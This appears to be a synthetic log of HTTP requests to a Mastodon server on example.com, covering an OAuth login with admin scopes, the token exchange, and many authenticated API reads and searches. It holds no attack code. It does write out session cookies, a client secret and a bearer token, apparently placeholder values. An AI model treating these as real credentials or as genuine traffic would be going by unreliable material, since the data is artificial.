{"method": "GET", "target": "/oauth/authorize?client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
{"method": "POST", "target": "/oauth/authorize", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 337", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/oauth/authorize?client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDEuODg0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--621494457639e6c6eb96dc9847f947e7067eae30; _mastodon_session=uPLQM1cESL%2B7E3h%2BkoKBVQi7KCEqd1xtga6UA9I59WUUDid3l0CPUZDjd2eUD3ObJDVCg2WB654rgcdC7ries0JT5QS3lgJWd968H%2ByKJO3FNFT5S73yU3g%2FdV2o2WVixDlp4kXM%2FFxQY2qi%2BqTbM9DxNQ%2BakzZO9nUbMQAVxcwVpAV6Ar%2Bd2XsJgUgbg1bqPXCvS5cnNowPxIxJA716KuxPjloQdOlW6%2F%2BiGeNumkownrd8RM%2BTxQxIU7ZJ%2BdY7ULP%2FQk69hYK57bvvYwkEoQEe7Uc2mkeZyHwll7V2ZJ2sjGEQYj24i%2FYUBPND408UiHZpiw%2B1BThKMUC9y%2BioLXRf%2BSmXa9pxyINuCHwAru1JYmSNvee3cOhT5cSvxxr0XSX0%2BFB84pIu0HybMezNInMH0YoskNQ8PiU3iCaRKscVxb%2BkdYE3mlkZnOPNmqco9%2FoU64QX%2FTHsHBrHl7E3wyM92sW%2Bj4BgGsnmsLOJwZttK8HzdYtpeZeDiMSq3q%2FpGS4N%2FTBt3Fy9q41skRqImjEH8swt0rJ%2BrhK0Umu6frQtSIt5QR8PIcnhapSLInLB2dIfIqzr%2BFetsrwbS2tTDjcU3CLaMo%2F2dKsW7yZPYmAqo8r%2Bihflse%2Foilvf6E%2FwU8KRjTOYanz0nRJYAPxiLnMSMqKK3Hk8iEtof8XgpUNJUBAZOOFqWj0zgWRfVXozcZ0YahVvA5voX5VY2cZlkq8haownc9iEMq8WR3xA72pgsEYhaguRu0Tj4AAT0Sbxa5LI2828veKSW5Ij0xsMGqE84L4T9XhTXw%3D%3D--3jplX%2B5kMn1rYgjR--RkT9dVHEnHlML6A1oSPLjQ%3D%3D"], "body": "authenticity_token=1Mm4T7CiD0pg7JgWOzx9DaDkDfw6wIZr68sOX4wv3zpG8Cue1nnjghZJfiMkv3klTKvVjsIG7wFfULuVRvy0Fw&client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&code_challenge=&code_challenge_method=&state=&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite&button="}
{"method": "GET", "target": "/oauth/authorize/native?code=0RKM5HWLiEdgxhSsAdc56Xz0rTCoSzM2KHEP4tK-AxI", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/oauth/authorize?client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDQuNDY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--34899739b80b78dbacebc27269fc960182e812c9; _mastodon_session=9wxLvDbvs%2B4cJAY5wLTjjorTBO%2BPSLPRKp0tFNm7qP31dqJBZEdekgK6H3VsiA1f9BjCfSGsN0hgdf76n0%2F4Tz6wdZmlC7mqS1TpbppwbrKVRTlN81vRNL8wdZJa4CkPWlij1ntYugHNsuTRz8R9W%2Fe2hJ7YBPUzc6Bwhs8XrjWWLlas1ukiq2iTdBrQ6EcenlN0d%2FX3B7Nz51Ms18HkxXOS3h777fdvADgW%2F5rYDeuhNEwzHDpfE0YsI8%2BCnbmKVEG82AHngYMnU9hSBtLQ3XCJpw9unP%2FXzCSmAYNN8W07M8nIzMaDOgrdwXZ58IAuV4sIODuFWzXmeDi4%2FPAfGLQpk4ITkple9LgakxVw%2Fr6mN%2BUiKDP%2BJ2N1WF8BfUpkXexORneNr5XZGqWCP5QhusXvFdbkmaNaK6ERSibhytl9Ug2g4j5jZh18ZEUaooPJ1ZhyfaXKQAD9--6qxIvCcQ1DrVYTMI--qK%2Bj%2FW6xZRi3Uom%2ByQHlyw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/typed_functions-Whap35TF.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/oauth/authorize/native?code=0RKM5HWLiEdgxhSsAdc56Xz0rTCoSzM2KHEP4tK-AxI", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDQuNDk2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2c3c1b1932f399d9e0dc408246472dc79d4a8d90; _mastodon_session=WVbdpMQOgJqU6v5xLdF341U3dDbFuAcwM38nlaJ3XAFGhFbNo9uw8EHTpTmJZYhSm5akTxG1MiBx9Krb7XFK02ivN0SWmOmkRRtXXV95CiqgS5zUU65uSWtK1UmROu0Lii%2B3pXfSk8LEMA4x4xlimbtinAfl59GQPZ1AdEYUXS1dDarlWWBMz1grR6HJ5qJgRYQkkWc8ZBRprVvUp5Wat8BQw6RduHXCwoW%2BSff%2F9LINPzewbTFCVgAmgsfzKze1rS9sBH%2BdQr1quGVZZZa8VvldD3n2CWxOK2Ai%2FAmkpat8EyFVJqIsuz%2FHs2nBtdzDX8MXMxDRlG3BThrh%2FRuUk9D8p7sHgREeoHFjK26aHFvLMv%2BpNfCThk4LJH1wmuyzVKNpzzczDbjIYj4do2QuKBM7JFc4%2FBeq7rdTocD1U%2B5y4493xego6ZspgtN%2BWbPAn1CV1lVtC9JAUPCH7ksina6JcrOhfRcICEXVPFNilvxFKhx6CuCo8CWXcisLdQd5ObVaNmS6%2FsCF7ivLjCVFhIB0zTpJa8eQd8KOzK4BsH0Q4su5CQ%3D%3D--HPIAwvQ9fTRbUoEj--WXsg%2Blt%2FBcIPuApPFK39qg%3D%3D"], "body": ""}
{"method": "POST", "target": "/oauth/token", "headers": ["Host: example.com", "Content-Length: 295", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Content-Type: application/x-www-form-urlencoded"], "body": "grant_type=authorization_code&code=0RKM5HWLiEdgxhSsAdc56Xz0rTCoSzM2KHEP4tK-AxI&client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&client_secret=AMGHJwUSh7h3W2iG-SEcqtbCZf3TXbKrSh-i1-U-mE8&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&scope=read+write+follow+push+admin%3Aread+admin%3Awrite"}
{"method": "GET", "target": "/api/v1/accounts/verify_credentials", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/apps/verify_credentials", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/instance", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/preferences", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/filters", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/filters", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/markers?timeline%5B%5D=home&timeline%5B%5D=notifications", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/home?limit=40", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/public?local=true&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/tag/python3", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/notifications?exclude_types%5B%5D=follow_request", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/notifications?grouped_types%5B%5D=favourite&grouped_types%5B%5D=reblog&grouped_types%5B%5D=follow", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/conversations", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/trends/links", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/suggestions", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/directory?local=true&order=active", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/bookmarks", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/favourites", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/blocks", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/mutes", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/domain_blocks", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/endorsements", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/featured_tags/suggestions", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/scheduled_statuses", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/tags/python3", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=bob", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/relationships?id%5B%5D=117589326485981102&id%5B%5D=117589325674471006", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/117589326485981102/statuses?exclude_replies=true&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=river+walk&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=river+walk&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=river+walk&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=river+walk&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=python3&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=python3&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=python3&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=python3&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=powershell&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=powershell&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=powershell&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=powershell&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=ls+-la&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=ls+-la&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=ls+-la&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=ls+-la&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=.htaccess&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=.htaccess&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=.htaccess&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=.htaccess&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=alice%40remote.example&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=%23python3&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=%23python3&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=%23python3&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=%23python3&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
